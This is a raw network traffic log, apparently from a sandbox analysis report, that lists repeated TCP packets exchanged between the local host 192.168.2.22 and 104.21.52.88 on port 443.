Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
